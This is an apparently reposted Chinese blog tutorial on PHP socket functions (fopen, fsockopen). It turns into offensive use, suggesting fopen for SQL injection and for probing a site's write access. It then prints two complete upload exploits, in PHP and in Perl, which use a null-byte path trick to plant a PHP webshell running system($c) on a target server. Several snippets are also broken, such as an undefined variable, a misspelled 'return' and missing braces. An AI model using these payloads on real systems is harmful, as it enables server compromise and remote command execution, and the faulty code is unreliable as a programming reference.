PHP-SOCKETS编程问题

类别:编程语言 点击:0 评论:0 推荐:

前面一段谈到命令行方式的运行。更多请参照
http://www.php.net/manual/zh/features.commandline.php


1.fopen的应用
fopen也可以被称作被封装的SOCKET函数。不仅用于文件读写,还可以用于SOCKET。FOPEN相当于其他高级语言的INET控件/类,较于FSOCKOPEN,他对于URL的操作更高级。

fopen的使用方法
$s = fopen ($url, mode);
fopen的MODE属性:
mode 说明
'r' 只读方式打开,将文件指针指向文件头。
'r+' 读写方式打开,将文件指针指向文件头。
'w' 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
'w+' 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
'a' 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
'a+' 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
'x' 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。
'x+' 创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。


即用于本地文件的操作,也可以用于INET。是不是很KOOL?
假如要测试一个站的IIS目录是不是有写权限。
可以这样写
$s = fopen("http://www.bugkidz.org","x+") or die(“不存在写权限”)
如果存在的话,你可以继续构造下面的语句。用Fwrite 远程写入文件。
但是一般的网站都是只读权限的
$s =fopen("http://www.bugkidz.org/index.php?id=1","r");
这样就读入了http://www.bugkidz.org/index.php?id=1的内容,但是还得经过处理才能获取完整的文件内容
这样
while (!feof($s)) {
echo fgets($s, 1024);
}
我认为FOPEN用于SQL INJECTION是最方便不过的了。
引用 function phpinet($url)

{

fopen($url,"r") or die("打开URL错误");



  $cahe = "";

while (!feof($s)) {

$cahe .= fgets($s, 1024);

}



retrun $cahe;

fclose($s);

}





这段函数等同于VB中的inet.openurl





Fsockopen等函数的使用

fsockopen也是被封装的一类socket函数.有点类似于VB中的winsock控件.令人遗憾的是它支持主动socket连接,不支持bind,listen等,如果需要实现这些功能,则要使用PHP中的高级socket编程.即便是这样,fsockopen函数也能满足大多数的需求.

这样使用fsockopen

resource fsockopen ( string target, int port [, int errno [, string errstr [, float timeout]]])



例子:

$sock = fsockopen("192.168.0.1",80,$errno,$errstr,30);

前面2个是地址和端口,中间2个是有关错误的变量,最后就是timeout设置了.

通常$sock = fsockopen("192.168.0.1",80);这样即可.

$sock = fsockopen("192.168.0.1",80);这是典型的TCP连接.UDP连接这样来

$sock = fsockopen("udp://192.168.0.1",53);

用这个来写一个TFTP的客户端也是可以的.



fsockopen的应用实例:



实例一,简单的HTTP会话.



代码  

<?php

$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);

if (!$fp) {

echo "$errstr ($errno)\n";

} else {

$out = "GET / HTTP/1.1\r\n";

$out .= "Host: www.example.com\r\n";

$out .= "Connection: Close\r\n\r\n";



fwrite($fp, $out);

while (!feof($fp)) {

echo fgets($fp, 128);

}

fclose($fp);

}

?>  





流程一般是这样的

建立fsockopen 资源,定义发送内容,用fwrite函数或者fputs函数写入定义内容,一行一行的输出得到的内容,直到到达文件末尾,fgets函数或者是fread使用.使用fclose关闭建立的fsockopen 资源.

ANGEL写了一个PHP的端口扫描工具,贴出之

http://www.4ngel.net/article/20.htm



选择fsockopen 来写简单EXP发送框架绝对是个goodidea.becoz it's so easy.

看我的PHP上传漏洞的exp.



代码  

引用 <?php

#MSN:Cqxy[at]21cn.net

$sock = fsockopen("www.ririririri.com",80);

if (!$sock)

{ echo "CANNOT CONNECT IT!";

}

$body = "-----------------------------7d41f4a600472\r\n".

"Content-Disposition: form-data; name=\"path\"\r\n".

"\r\n".

"www.ppp%00\r\n".

"-----------------------------7d41f4a600472\r\n".

"Content-Disposition: form-data; name=\"image\"; filename=\"F:\\tools\\1.gif\"\r\n".

"Content-Type: text/plain\r\n".

"\r\n".

"<?php\r\n".

"system($c);\r\n".

"?>\r\n".

"-----------------------------7d41f4a600472--\r\n".

"\r\n";

$header ="POST /index.php?action=upload HTTP/1.1\r\n".

"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*\r\n".

"Referer: http://127.0.0.1/index.php?path=.\r\n".

"Accept-Language: zh-cn\r\n".

"Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472\r\n".

"Accept-Encoding: gzip, deflate\r\n".

"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n".

"Host: 127.0.0.1\r\n".

"Content-Length: strlen($body)\r\n".

"Connection: Keep-Alive\r\n".

"Cache-Control: no-cache\r\n".

"Cookie: PHPSESSID=111111111111111111111111\r\n".

"\r\n";

fputs($sock,$header);

sleep(1);



fputs($sock,$body);

while (!feof($sock))

{

echo fgets($sock,128);

}

fclose($sock);

?>







再来看XIAOLU用PERL写的exp



代码  



引用

#!/usr/bin/perl

$| = 1;

use Socket;

$host = "127.0.0.1";

$port = "80";



$UploadTo = "";

$str =

"-----------------------------7d41f4a600472\r\n".

"Content-Disposition: form-data; name=\"path\"\r\n".

"\r\n".

"www.ppp%00\r\n".

"-----------------------------7d41f4a600472\r\n".

"Content-Disposition: form-data; name=\"image\"; filename=\"F:\\tools\\1.gif\"\r\n".

"Content-Type: text/plain\r\n".

"\r\n".

"<?php\r\n".

"system($c);\r\n".

"?>\r\n".

"-----------------------------7d41f4a600472--\r\n".

"\r\n";



print $str;

$len=length($str);

print $len;



$req ="POST /1/1/3721/index.php?action=upload HTTP/1.1\r\n".

"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*\r\n".

"Referer: http://127.0.0.1/index.php?path=.\r\n".

"Accept-Language: zh-cn\r\n".

"Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472\r\n".

"Accept-Encoding: gzip, deflate\r\n".

"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n".

"Host: 127.0.0.1\r\n".

"Content-Length: $len\r\n".

"Connection: Keep-Alive\r\n".

"Cache-Control: no-cache\r\n".

"Cookie: PHPSESSID=111111111111111111111111\r\n".

"\r\n".

"$str\r\n\r\n";

print $req;

@res = sendraw($req);

print @res;



#Hmm...Maybe you can send it by other way





sub sendraw {

my ($req) = @_;

my $target;

$target = inet_aton($host) || die("inet_aton problems\n");

socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");

if(connect(S,pack "SnA4x8",2,$port,$target)){

select(S);

$| = 1;

print $req;

my @res = <S>;

select(STDOUT);

close(S);

return @res;



else {

die("Can't connect...\n");



}


 谁更简单,一目了然.
到这里可能大家对fsockopen 的使用有一定了解了.
下次该谈php-sockets高级编程.一个更强大的PHP将惊现在面前

本文地址:http://com.8s8s.com/it/it25463.htm